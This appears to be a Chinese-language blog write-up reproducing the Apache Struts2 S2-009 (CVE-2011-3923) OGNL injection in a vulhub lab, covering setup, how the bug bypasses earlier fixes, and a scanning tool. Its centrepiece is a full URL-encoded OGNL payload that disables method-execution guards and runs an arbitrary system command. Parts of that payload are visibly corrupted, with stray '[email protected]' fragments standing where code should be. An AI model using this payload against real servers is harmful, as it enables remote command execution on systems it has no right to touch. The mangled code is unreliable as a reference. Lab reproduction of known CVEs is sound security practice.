CVE-2011-3923 S2-009復現
阿新 • • 發佈:2021-12-01
0X00-引言
學爪哇去了,看不懂原始碼太難受了,一直在門外晃,不懂原理,構造不出EXP
0X01-環境搭建
靶機:CentOS Linux 7
攻擊機:windows server 2016 && Kail
環境:vulhub
專案地址:https://github.com/vulhub/vulhub
搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)
0X02-漏洞描述
參考Struts2漏洞分析之Ognl表示式特性引發的新思路,文中說到,該引入ognl的方法不光可能出現在這個漏洞中,也可能出現在其他java應用中。
Struts2對s2-003的修復方法是禁止靜態方法呼叫,在s2-005中可直接通過OGNL繞過該限制,對於#
\u0023
或\43
進行繞過;於是Struts2對s2-005的修復方法是禁止\
等特殊符號,使使用者不能提交反斜線。
但是,如果當前action中接受了某個引數example
,這個引數將進入OGNL的上下文。所以,我們可以將OGNL表示式放在example
引數中,然後使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法來執行它,從而繞過官方對#
、\
等特殊字元的防禦。
影響版本:2.1.0 - 2.3.1.1
漏洞地址:http://your-ip:8080/ajax/example5.action
0X03-漏洞復現
01-任意命令執行
payload: id為變數,可修改
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
0X04-工具檢測
工具地址:https://github.com/Liqunkit/LiqunKit_
0X05-檢視日誌
docker ps #檢視容器ID
docker exec -it ID /bin/bash #進入
cd logs #進入日誌目錄
cat localhost_access_log.2021-12-02.txt #檢視日誌
exit #退出容器